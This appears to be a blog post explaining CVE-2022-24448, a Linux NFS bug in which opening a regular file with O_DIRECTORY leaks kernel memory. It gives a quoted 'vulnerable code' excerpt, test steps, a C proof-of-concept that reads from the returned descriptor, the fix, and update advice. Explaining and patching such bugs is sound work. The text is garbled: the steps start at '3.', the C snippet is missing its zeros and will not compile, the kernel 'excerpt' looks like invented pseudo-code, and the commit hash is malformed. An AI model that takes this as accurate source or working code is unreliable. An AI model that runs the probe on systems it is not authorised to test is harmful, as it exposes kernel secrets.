---
Introduction
In early 2022, a security issue with the Linux kernel's NFS (Network File System) support was found and characterized as CVE-2022-24448. Impacting kernel versions before 5.16.5, this bug can leak random, potentially sensitive kernel memory when you try to open a regular file on an NFS-mounted directory—but you use the O_DIRECTORY flag, meant for directories, not files.
This post explains the vulnerability, walks you through the logic in fs/nfs/dir.c, and provides a simple recap, so even if you're not a kernel developer, you can learn why it's dangerous and how you could test it.
The Problem: What Happened in nfs_atomic_open()?
Normally, if you open("/some/path", O_DIRECTORY), the kernel expects that /some/path is a directory. If it’s not, you get an ENOTDIR error (Not a directory). Simple, right?
But with NFS accesses on Linux before v5.16.5, the function nfs_atomic_open() failed to handle one tricky edge case. If you set O_DIRECTORY and pointed it at a regular file, instead of giving you ENOTDIR, the NFS code would perform a regular file lookup—but then the server would return an uninitialized file descriptor, containing kernel memory. That's real, live data from the kernel space your process should never see.
Here’s a key excerpt from the vulnerable code in fs/nfs/dir.c (up to kernel 5.16.4)
int nfs_atomic_open(struct inode *dir, struct dentry *dentry,
struct file *file, ...)
{
...
if (file->f_flags & O_DIRECTORY) {
/* check for regular file */
if (S_ISREG(dentry->d_inode->i_mode)) {
// should ENOTDIR here, but doesn't!
// Instead, falls through and creates file struct for a regular file
// with O_DIRECTORY, leading to uninitialized memory
}
}
...
// leaks kernel data in file descriptor
}
What’s the takeaway?
The code fails to validate that if the O_DIRECTORY flag is set, and you found a regular file, you have to error with ENOTDIR. Instead, it keeps going, misuses structures, and clients get leftovers from the kernel in their file descriptors.
On that share, have a normal file.
3. Write a program that purposefully calls open("/path/to/file", O_DIRECTORY);
4. Inspect the returned file descriptor or force reads from it. That descriptor may now point to kernel memory "garbage," possibly containing secrets or system info.
Here’s a simple C snippet
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
int main() {
int fd = open("/mnt/nfs/regularfile.txt", O_RDONLY | O_DIRECTORY);
if (fd == -1) {
perror("open");
return 1;
}
char buf[1024];
ssize_t n = read(fd, buf, sizeof(buf));
if (n < ) {
perror("read");
} else {
printf("Read %ld bytes: ", n);
for (ssize_t i = ; i < n; ++i)
printf("%02x ", (unsigned char)buf[i]);
printf("\n");
}
close(fd);
return ;
}
Note: You need to run this on an NFS-mounted directory on a kernel version <= 5.16.4.
Impact
Any user-level application could, intentionally or by accident, ask for a directory when they should get a file. With NFS, instead of a simple error, the kernel leaks uninitialized data. The exposure risk is real—secrets, keys, credentials, or random memory could be leaked from kernel space to user space.
On multi-user systems and cloud environments, this bug can be serious.
How Was it Fixed?
Linux commit 232a8fda4260523f85b65f61f229b3a09fae926 repaired the bug by:
- Adding a proper check: If O_DIRECTORY is requested and the result is a regular file, return ENOTDIR right away.
Here’s how the corrected code looks
if (file->f_flags & O_DIRECTORY) {
if (S_ISREG(dentry->d_inode->i_mode)) {
return -ENOTDIR; // Correctly fail now
}
}
References
- NVD: CVE-2022-24448
- Linux Kernel Patch: fs/nfs/dir.c
- oss-sec Mailing List: Disclosure
Conclusion
CVE-2022-24448 is a solid reminder that even minor logic bugs in system call handling—like forgetting to check O_DIRECTORY—can have dangerous results. Leaking kernel memory to user processes isn’t just a crash risk; it could mean leaking credentials or other valuable info.
Mitigation: If you run Linux NFS servers or clients, update your kernel to 5.16.5 or later as soon as possible. Audit code paths that use open() with O_DIRECTORY, and make sure you’re not using ancient kernel versions.
Timeline
Published on: 02/04/2022 20:15:00 UTC
Last modified on: 05/12/2022 20:03:00 UTC